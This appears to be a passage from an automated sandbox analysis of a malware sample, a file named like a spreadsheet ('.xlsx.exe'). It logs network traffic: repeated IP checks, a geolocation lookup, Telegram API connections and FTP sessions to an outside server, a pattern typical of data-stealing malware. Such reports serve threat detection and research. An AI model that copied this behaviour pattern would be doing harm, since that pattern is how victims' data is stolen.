Jul 17, 2024 14:17:12.463535070 CEST	49750	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:12.463634014 CEST	49750	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:12.468437910 CEST	80	49750	193.122.130.0	192.168.2.4
Jul 17, 2024 14:17:13.264460087 CEST	80	49750	193.122.130.0	192.168.2.4
Jul 17, 2024 14:17:13.265459061 CEST	80	49750	193.122.130.0	192.168.2.4
Jul 17, 2024 14:17:13.265676975 CEST	49750	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:13.266202927 CEST	49751	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:13.266259909 CEST	443	49751	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:13.266345978 CEST	49751	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:13.266648054 CEST	49751	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:13.266663074 CEST	443	49751	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:13.758335114 CEST	443	49751	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:13.760550976 CEST	49751	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:13.760587931 CEST	443	49751	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:13.910722971 CEST	443	49751	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:13.910816908 CEST	443	49751	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:13.910861015 CEST	49751	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:13.911417961 CEST	49751	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:13.927018881 CEST	49750	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:13.933034897 CEST	80	49750	193.122.130.0	192.168.2.4
Jul 17, 2024 14:17:13.933100939 CEST	49750	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:13.935486078 CEST	49752	443	192.168.2.4	149.154.167.220
Jul 17, 2024 14:17:13.935513020 CEST	443	49752	149.154.167.220	192.168.2.4
Jul 17, 2024 14:17:13.935566902 CEST	49752	443	192.168.2.4	149.154.167.220
Jul 17, 2024 14:17:13.936093092 CEST	49752	443	192.168.2.4	149.154.167.220
Jul 17, 2024 14:17:13.936106920 CEST	443	49752	149.154.167.220	192.168.2.4
Jul 17, 2024 14:17:14.575814009 CEST	443	49752	149.154.167.220	192.168.2.4
Jul 17, 2024 14:17:14.575896978 CEST	49752	443	192.168.2.4	149.154.167.220
Jul 17, 2024 14:17:14.578023911 CEST	49752	443	192.168.2.4	149.154.167.220
Jul 17, 2024 14:17:14.578042030 CEST	443	49752	149.154.167.220	192.168.2.4
Jul 17, 2024 14:17:14.578269958 CEST	443	49752	149.154.167.220	192.168.2.4
Jul 17, 2024 14:17:14.580357075 CEST	49752	443	192.168.2.4	149.154.167.220
Jul 17, 2024 14:17:14.624500990 CEST	443	49752	149.154.167.220	192.168.2.4
Jul 17, 2024 14:17:14.828084946 CEST	443	49752	149.154.167.220	192.168.2.4
Jul 17, 2024 14:17:14.828263998 CEST	443	49752	149.154.167.220	192.168.2.4
Jul 17, 2024 14:17:14.828496933 CEST	49752	443	192.168.2.4	149.154.167.220
Jul 17, 2024 14:17:14.833448887 CEST	49752	443	192.168.2.4	149.154.167.220
Jul 17, 2024 14:17:20.212431908 CEST	49736	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:20.438886881 CEST	49756	21	192.168.2.4	213.189.52.181
Jul 17, 2024 14:17:20.443698883 CEST	21	49756	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:20.443783998 CEST	49756	21	192.168.2.4	213.189.52.181
Jul 17, 2024 14:17:21.064588070 CEST	21	49756	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:21.064830065 CEST	49756	21	192.168.2.4	213.189.52.181
Jul 17, 2024 14:17:21.069911003 CEST	21	49756	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:21.257766008 CEST	21	49756	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:21.258104086 CEST	49756	21	192.168.2.4	213.189.52.181
Jul 17, 2024 14:17:21.265224934 CEST	21	49756	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:21.524398088 CEST	21	49756	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:21.524672985 CEST	49756	21	192.168.2.4	213.189.52.181
Jul 17, 2024 14:17:21.529511929 CEST	21	49756	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:21.714761972 CEST	21	49756	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:21.714934111 CEST	49756	21	192.168.2.4	213.189.52.181
Jul 17, 2024 14:17:21.719718933 CEST	21	49756	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:21.904567957 CEST	21	49756	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:21.904773951 CEST	49756	21	192.168.2.4	213.189.52.181
Jul 17, 2024 14:17:21.909862995 CEST	21	49756	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:22.450741053 CEST	21	49756	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:22.450953007 CEST	49756	21	192.168.2.4	213.189.52.181
Jul 17, 2024 14:17:22.451524973 CEST	21	49756	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:22.451704025 CEST	49756	21	192.168.2.4	213.189.52.181
Jul 17, 2024 14:17:22.456768990 CEST	21	49756	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:22.642566919 CEST	21	49756	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:22.643626928 CEST	49759	64212	192.168.2.4	213.189.52.181
Jul 17, 2024 14:17:22.648535013 CEST	64212	49759	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:22.648895025 CEST	49759	64212	192.168.2.4	213.189.52.181
Jul 17, 2024 14:17:22.648998976 CEST	49756	21	192.168.2.4	213.189.52.181
Jul 17, 2024 14:17:22.661417961 CEST	21	49756	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:23.204821110 CEST	21	49756	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:23.209404945 CEST	49759	64212	192.168.2.4	213.189.52.181
Jul 17, 2024 14:17:23.211287022 CEST	49759	64212	192.168.2.4	213.189.52.181
Jul 17, 2024 14:17:23.214360952 CEST	64212	49759	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:23.216543913 CEST	64212	49759	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:23.220947027 CEST	49759	64212	192.168.2.4	213.189.52.181
Jul 17, 2024 14:17:23.256294966 CEST	49756	21	192.168.2.4	213.189.52.181
Jul 17, 2024 14:17:23.420774937 CEST	21	49756	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:23.474901915 CEST	49756	21	192.168.2.4	213.189.52.181
Jul 17, 2024 14:17:24.930371046 CEST	49756	21	192.168.2.4	213.189.52.181
Jul 17, 2024 14:17:24.935461044 CEST	21	49756	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:25.396604061 CEST	21	49756	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:25.397322893 CEST	49761	64119	192.168.2.4	213.189.52.181
Jul 17, 2024 14:17:25.398139954 CEST	21	49756	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:25.398219109 CEST	49756	21	192.168.2.4	213.189.52.181
Jul 17, 2024 14:17:25.402404070 CEST	64119	49761	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:25.402512074 CEST	49761	64119	192.168.2.4	213.189.52.181
Jul 17, 2024 14:17:25.402735949 CEST	49756	21	192.168.2.4	213.189.52.181
Jul 17, 2024 14:17:25.407797098 CEST	21	49756	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:25.970232964 CEST	21	49756	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:25.973108053 CEST	49761	64119	192.168.2.4	213.189.52.181
Jul 17, 2024 14:17:25.973108053 CEST	49761	64119	192.168.2.4	213.189.52.181
Jul 17, 2024 14:17:25.979491949 CEST	64119	49761	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:25.979523897 CEST	64119	49761	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:25.979636908 CEST	64119	49761	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:25.979664087 CEST	64119	49761	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:25.979691982 CEST	64119	49761	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:25.979795933 CEST	64119	49761	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:25.980603933 CEST	64119	49761	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:25.980972052 CEST	49761	64119	192.168.2.4	213.189.52.181
Jul 17, 2024 14:17:26.021910906 CEST	49756	21	192.168.2.4	213.189.52.181
Jul 17, 2024 14:17:26.328495979 CEST	21	49756	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:26.381297112 CEST	49756	21	192.168.2.4	213.189.52.181
Jul 17, 2024 14:17:27.837539911 CEST	49756	21	192.168.2.4	213.189.52.181
Jul 17, 2024 14:17:27.843977928 CEST	21	49756	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:28.034118891 CEST	21	49756	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:28.034774065 CEST	49762	63014	192.168.2.4	213.189.52.181
Jul 17, 2024 14:17:28.039767027 CEST	63014	49762	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:28.039839983 CEST	49762	63014	192.168.2.4	213.189.52.181
Jul 17, 2024 14:17:28.039921999 CEST	49756	21	192.168.2.4	213.189.52.181
Jul 17, 2024 14:17:28.045120001 CEST	21	49756	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:28.701682091 CEST	21	49756	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:28.702104092 CEST	49762	63014	192.168.2.4	213.189.52.181
Jul 17, 2024 14:17:28.702189922 CEST	49762	63014	192.168.2.4	213.189.52.181
Jul 17, 2024 14:17:28.707250118 CEST	63014	49762	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:28.708431959 CEST	63014	49762	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:28.708527088 CEST	49762	63014	192.168.2.4	213.189.52.181
Jul 17, 2024 14:17:28.756150961 CEST	49756	21	192.168.2.4	213.189.52.181
Jul 17, 2024 14:17:28.901737928 CEST	21	49756	213.189.52.181	192.168.2.4
Jul 17, 2024 14:17:28.943676949 CEST	49756	21	192.168.2.4	213.189.52.181
Jul 17, 2024 14:19:21.508196115 CEST	49756	21	192.168.2.4	213.189.52.181

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 17, 2024 14:17:01.783745050 CEST	60069	53	192.168.2.4	1.1.1.1
Jul 17, 2024 14:17:01.792860031 CEST	53	60069	1.1.1.1	192.168.2.4
Jul 17, 2024 14:17:03.382081032 CEST	59360	53	192.168.2.4	1.1.1.1
Jul 17, 2024 14:17:03.389602900 CEST	53	59360	1.1.1.1	192.168.2.4
Jul 17, 2024 14:17:13.927567005 CEST	62199	53	192.168.2.4	1.1.1.1
Jul 17, 2024 14:17:13.934848070 CEST	53	62199	1.1.1.1	192.168.2.4
Jul 17, 2024 14:17:20.426573992 CEST	58032	53	192.168.2.4	1.1.1.1
Jul 17, 2024 14:17:20.437954903 CEST	53	58032	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 17, 2024 14:17:01.783745050 CEST	192.168.2.4	1.1.1.1	0x9506	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 17, 2024 14:17:03.382081032 CEST	192.168.2.4	1.1.1.1	0x5c94	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jul 17, 2024 14:17:13.927567005 CEST	192.168.2.4	1.1.1.1	0x68e4	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Jul 17, 2024 14:17:20.426573992 CEST	192.168.2.4	1.1.1.1	0xfbbf	Standard query (0)	s4.serv00.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 17, 2024 14:17:01.792860031 CEST	1.1.1.1	192.168.2.4	0x9506	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 17, 2024 14:17:01.792860031 CEST	1.1.1.1	192.168.2.4	0x9506	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 17, 2024 14:17:01.792860031 CEST	1.1.1.1	192.168.2.4	0x9506	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 17, 2024 14:17:01.792860031 CEST	1.1.1.1	192.168.2.4	0x9506	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 17, 2024 14:17:01.792860031 CEST	1.1.1.1	192.168.2.4	0x9506	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 17, 2024 14:17:01.792860031 CEST	1.1.1.1	192.168.2.4	0x9506	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 17, 2024 14:17:03.389602900 CEST	1.1.1.1	192.168.2.4	0x5c94	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 17, 2024 14:17:03.389602900 CEST	1.1.1.1	192.168.2.4	0x5c94	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 17, 2024 14:17:13.934848070 CEST	1.1.1.1	192.168.2.4	0x68e4	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Jul 17, 2024 14:17:20.437954903 CEST	1.1.1.1	192.168.2.4	0xfbbf	No error (0)	s4.serv00.com		213.189.52.181	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.122.130.0	80	2992	C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe

Timestamp	Bytes transferred	Direction	Data
Jul 17, 2024 14:17:01.821135998 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jul 17, 2024 14:17:03.038635015 CEST	320	IN	HTTP/1.1 200 OK Date: Wed, 17 Jul 2024 12:17:02 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 859d0079b539d979bbb6b1ed03dd61bb Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Jul 17, 2024 14:17:03.044138908 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jul 17, 2024 14:17:03.339458942 CEST	320	IN	HTTP/1.1 200 OK Date: Wed, 17 Jul 2024 12:17:03 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 023c3762e62060880535a033191115e4 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Jul 17, 2024 14:17:04.600856066 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jul 17, 2024 14:17:04.984718084 CEST	320	IN	HTTP/1.1 200 OK Date: Wed, 17 Jul 2024 12:17:04 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 4a6ca620c556c209768e5f56c502ea50 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49736	193.122.130.0	80	2992	C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe

Timestamp	Bytes transferred	Direction	Data
Jul 17, 2024 14:17:05.627724886 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jul 17, 2024 14:17:06.091027021 CEST	320	IN	HTTP/1.1 200 OK Date: Wed, 17 Jul 2024 12:17:06 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 7380af36d66da57f2ece11d913cf5afd Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	193.122.130.0	80	2992	C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe

Timestamp	Bytes transferred	Direction	Data
Jul 17, 2024 14:17:06.720724106 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jul 17, 2024 14:17:07.212661028 CEST	320	IN	HTTP/1.1 200 OK Date: Wed, 17 Jul 2024 12:17:07 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 493baadcba1ce1a917153014390ab0fc Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49741	193.122.130.0	80	2992	C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe

Timestamp	Bytes transferred	Direction	Data
Jul 17, 2024 14:17:07.824177980 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jul 17, 2024 14:17:08.317326069 CEST	320	IN	HTTP/1.1 200 OK Date: Wed, 17 Jul 2024 12:17:08 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 4b22cebb0db6e7f9f67692854adb3510 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49744	193.122.130.0	80	2992	C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe

Timestamp	Bytes transferred	Direction	Data
Jul 17, 2024 14:17:08.932322979 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jul 17, 2024 14:17:09.408221960 CEST	320	IN	HTTP/1.1 200 OK Date: Wed, 17 Jul 2024 12:17:09 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: ef4d2cc99a3cbf4f6221ac34457d36e6 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49746	193.122.130.0	80	2992	C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe

Timestamp	Bytes transferred	Direction	Data
Jul 17, 2024 14:17:10.284399033 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jul 17, 2024 14:17:10.763042927 CEST	320	IN	HTTP/1.1 200 OK Date: Wed, 17 Jul 2024 12:17:10 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 95548904407e37f7c29d31a32535c21d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49748	193.122.130.0	80	2992	C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe

Timestamp	Bytes transferred	Direction	Data
Jul 17, 2024 14:17:11.379313946 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jul 17, 2024 14:17:11.837635994 CEST	320	IN	HTTP/1.1 200 OK Date: Wed, 17 Jul 2024 12:17:11 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: c1196921ce695464f4b273507b999a27 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49750	193.122.130.0	80	2992	C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe

Timestamp	Bytes transferred	Direction	Data
Jul 17, 2024 14:17:12.463634014 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jul 17, 2024 14:17:13.264460087 CEST	320	IN	HTTP/1.1 200 OK Date: Wed, 17 Jul 2024 12:17:12 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: ee7c406d4f87f249208bda1a83247a26 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Jul 17, 2024 14:17:13.265459061 CEST	320	IN	HTTP/1.1 200 OK Date: Wed, 17 Jul 2024 12:17:12 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: ee7c406d4f87f249208bda1a83247a26 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	188.114.97.3	443	2992	C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-17 12:17:04 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-07-17 12:17:04 UTC	712	IN	HTTP/1.1 200 OK Date: Wed, 17 Jul 2024 12:17:04 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 52982 Last-Modified: Tue, 16 Jul 2024 21:34:02 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i9O2dQ0WgQWrFFRNWC0RLjLdKHCBUNLIzoGt1dzRfs3qz5yHh7PDNEh%2BlY%2B1eTg1Wx%2FuEv47HfxY7USVxu9KU%2F3SsHah6l9TbuJ4IHfKLPL%2FyUbGe1PKTQdeh3eGFyuhH%2BPFZbcL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a4a2ab27bb272b7-EWR alt-svc: h3=":443"; ma=86400
